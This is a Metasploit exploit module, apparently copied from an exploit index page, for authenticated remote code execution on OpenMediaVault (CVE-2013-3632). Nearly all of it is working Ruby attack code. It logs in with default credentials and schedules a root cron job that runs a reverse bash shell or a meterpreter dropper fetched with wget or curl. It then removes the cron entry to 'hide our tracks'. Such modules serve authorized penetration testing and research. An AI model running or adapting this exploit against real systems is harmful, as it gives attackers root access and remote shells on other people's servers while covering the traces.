Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-UNIX-WEBAPP-OPENMEDIAVAULT_AUTH_CRON_RCE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Deprecated

  moved_from 'exploit/multi/http/openmediavault_cmd_exec'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OpenMediaVault rpc.php Authenticated Cron Remote Code Execution',
        'Description' => %q{
          OpenMediaVault allows an authenticated user to create cron jobs as root on the system.
          An attacker can abuse this by sending a POST request via rpc.php to schedule and execute
          a cron entry that runs arbitrary commands as root on the system.
          All OpenMediaVault versions including the latest release 7.4.2-2 are vulnerable.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Msf module contributor
          'Brandon Perry <bperry.volatile[at]gmail.com>' # Original discovery and first msf module
        ],
        'References' => [
          ['CVE', '2013-3632'],
          ['PACKETSTORM', '178526'],
          ['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats'],
          ['URL', 'https://attackerkb.com/topics/zl1kmXbAce/cve-2013-3632']
        ],
        'DisclosureDate' => '2013-10-30',
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => ['linux'],
              'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => ['wget', 'curl'],
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'WfsDelay' => 65 # wait at least one minute for session to allow cron to execute the payload
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault web application', '/']),
        OptString.new('USERNAME', [true, 'The OpenMediaVault username to authenticate with', 'admin']),
        OptString.new('PASSWORD', [true, 'The OpenMediaVault password to authenticate with', 'openmediavault']),
        OptBool.new('PERSISTENT', [true, 'Keep the payload persistent in Cron. Default value is false, where the payload is removed', false])
      ]
    )
  end

  def user
    datastore['USERNAME']
  end

  def pass
    datastore['PASSWORD']
  end

  def rpc_success?(res)
    res&.code == 200 && res.body.include?('"error":null')
  end

  def login(user, pass)
    print_status("#{peer} - Authenticating with OpenMediaVault using credentials #{user}:#{pass}")
    # try the login options for all OpenMediaVault versions
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'rpc.php'),
      'method' => 'POST',
      'keep_cookies' => true,
      'ctype' => 'application/json',
      'data' => {
        service: 'Session',
        method: 'login',
        params: {
          username: user,
          password: pass
        },
        options: nil
      }.to_json
    })
    unless res&.code == 200 && res.body.include?('"authenticated":true')
      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'rpc.php'),
        'method' => 'POST',
        'keep_cookies' => true,
        'ctype' => 'application/json',
        'data' => {
          service: 'Authentication',
          method: 'login',
          params: {
            username: user,
            password: pass
          }
        }.to_json
      })
    end
    unless res&.code == 200 && res.body.include?('"authenticated":true')
      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'rpc.php'),
        'method' => 'POST',
        'keep_cookies' => true,
        'ctype' => 'application/json',
        'data' => {
          service: 'Authentication',
          method: 'login',
          params: [
            {
              username: user,
              password: pass
            }
          ]
        }.to_json
      })
      return res&.code == 200 && res.body.include?('"authenticated":true')
    end
    true
  end

  def check_target
    print_status('Trying to detect if target is running a vulnerable version of OpenMediaVault.')
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'rpc.php'),
      'method' => 'POST',
      'keep_cookies' => true,
      'ctype' => 'application/json',
      'data' => {
        service: 'System',
        method: 'getInformation',
        params: nil
      }.to_json
    })
    return nil unless rpc_success?(res)

    res
  end

  def check_version(res)
    # parse json response and get the version
    res_json = res.get_json_document
    unless res_json.blank?
      # OpenMediaVault v0.3 - v0.5 and up to v4 have different json formats where index 1 has the version information
      version = res_json.dig('response', 1, 'value')
      version = res_json.dig('response', 'version') if version.nil?
      version = res_json.dig('response', 'data', 1, 'value') if version.nil?
      return Rex::Version.new(version.split('(')[0].gsub(/[[:space:]]/, '')) unless version.nil? || version.split('(')[0].nil?
    end
    nil
  end

  def apply_config_changes
    # Apply OpenMediaVault configuration changes
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'rpc.php'),
      'method' => 'POST',
      'ctype' => 'application/json',
      'keep_cookies' => true,
      'data' => {
        service: 'Config',
        method: 'applyChangesBg',
        params: {
          modules: [],
          force: false
        },
        options: nil
      }.to_json
    })
  end

  def execute_command(cmd, _opts = {})
    # OpenMediaFault current release - v6.0.15-1 uses an array definition ['*']
    # OpenMediaVault v3.0.16 - v6.0.14-1 uses a string definition '*'
    # OpenMediaVault v1.0.22 - v3.0.15 uses a string definition '*' and uuid setting 'undefined'
    # OpenMediaVault v0.2.6.4 - v1.0.31 uses a string definition '*' and uuid setting 'undefined' and no execution parameter
    # OpenMediaVault < v0.2.6.4 uses a string definition '*' and uuid setting 'undefined', no execution parameter and no everyN parameters
    schedule = @version_number >= Rex::Version.new('6.0.15-1') ? ['*'] : '*'
    uuid = @version_number <= Rex::Version.new('3.0.15') ? 'undefined' : 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4'

    if @version_number > Rex::Version.new('1.0.32')
      post_data = {
        service: 'Cron',
        method: 'set',
        params: {
          uuid: uuid,
          enable: true,
          execution: 'exactly',
          minute: schedule,
          everynminute: false,
          hour: schedule,
          everynhour: false,
          dayofmonth: schedule,
          everyndayofmonth: false,
          month: schedule,
          dayofweek: schedule,
          username: 'root',
          command: cmd.to_s, # payload
          sendemail: false,
          comment: '',
          type: 'userdefined'
        },
        options: nil
      }.to_json
    elsif @version_number >= Rex::Version.new('0.2.6.4')
      post_data = {
        service: 'Cron',
        method: 'set',
        params: {
          uuid: uuid,
          enable: true,
          minute: schedule,
          everynminute: false,
          hour: schedule,
          everynhour: false,
          dayofmonth: schedule,
          everyndayofmonth: false,
          month: schedule,
          dayofweek: schedule,
          username: 'root',
          command: cmd.to_s, # payload
          sendemail: false,
          comment: '',
          type: 'userdefined'
        }
      }.to_json
    else
      post_data = {
        service: 'Cron',
        method: 'set',
        params: [
          {
            uuid: uuid,
            minute: schedule,
            hour: schedule,
            dayofmonth: schedule,
            month: schedule,
            dayofweek: schedule,
            username: 'root',
            command: cmd.to_s, # payload
            comment: '',
            type: 'userdefined'
          }
        ]
      }.to_json
    end

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'rpc.php'),
      'method' => 'POST',
      'ctype' => 'application/json',
      'keep_cookies' => true,
      'data' => post_data
    })
    fail_with(Failure::Unknown, 'Cannot access cron services to schedule payload execution.') unless rpc_success?(res)

    # parse json response and get the uuid of the cron entry
    # we need this later to clean up and hide our tracks
    res_json = res.get_json_document
    @cron_uuid = res_json.dig('response', 'uuid') || ''

    # In early versions up to 0.4.x cron uuid does not get returned so try an extra query to get it
    if @cron_uuid.blank?
      if @version_number >= Rex::Version.new('0.2.6.4')
        method = 'getList'
      else
        method = 'getListByType'
      end
      post_data = {
        service: 'Cron',
        method: method,
        params: {
          start: 0,
          limit: -1,
          sortfield: nil,
          sortdir: nil,
          type: ['userdefined']
        }
      }.to_json

      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'rpc.php'),
        'method' => 'POST',
        'ctype' => 'application/json',
        'keep_cookies' => true,
        'data' => post_data
      })
      res_json = res.get_json_document
      # get total list of entries and pick the last one
      index = res_json.dig('response', 'total')
      @cron_uuid = res_json.dig('response', 'data', index - 1, 'uuid') || ''
    end

    # Apply and update cron configuration to trigger payload execution (1 minute)
    # In early releases, you do not have to apply the changes, but the exact release change is unknown, so we always apply
    apply_config_changes
    print_status('Cron payload execution triggered. Wait at least 1 minute for the session to be established.')
  end

  def on_new_session(_session)
    # try to cleanup cron entry in OpenMediaVault unless PERSISTENT option is true
    unless datastore['PERSISTENT']
      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'rpc.php'),
        'method' => 'POST',
        'ctype' => 'application/json',
        'keep_cookies' => true,
        'data' => {
          service: 'Cron',
          method: 'delete',
          params: {
            uuid: @cron_uuid.to_s
          }
          # options: nil
        }.to_json
      })
      if rpc_success?(res)
        # Apply changes and update cron configuration to remove the payload entry
        # In early releases, you do not have to apply the changes, but the exact release change is unknown, so we always apply
        apply_config_changes
        print_good('Cron payload entry successfully removed.')
      else
        print_warning('Cannot access the cron services to remove the payload entry. If required, remove the entry manually.')
      end
    end
    super
  end

  def check
    @logged_in = login(user, pass)
    return CheckCode::Unknown('Failed to authenticate at OpenMediaVault.') unless @logged_in

    res = check_target
    return CheckCode::Unknown('Can not identify target as OpenMediaVault.') if res.nil?

    @version_number = check_version(res)
    return CheckCode::Detected('Can not retrieve the version information.') if @version_number.nil?
    return CheckCode::Appears("Version #{@version_number}") if @version_number.between?(Rex::Version.new('0.1'), Rex::Version.new('7.4.2-2'))

    CheckCode::Detected("Version #{@version_number}")
  end

  def exploit
    unless @logged_in
      if login(user, pass)
        res = check_target
        fail_with(Failure::Unknown, 'Can not identify target as OpenMediaVault.') if res.nil?
        @version_number = check_version(res)
        if @version_number.nil?
          print_status('Can not retrieve version information. Continue anyway...')
        else
          print_status("Version #{@version_number} detected.")
        end
      else
        fail_with(Failure::NoAccess, 'Failed to authenticate at OpenMediaVault.')
      end
    end

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end
end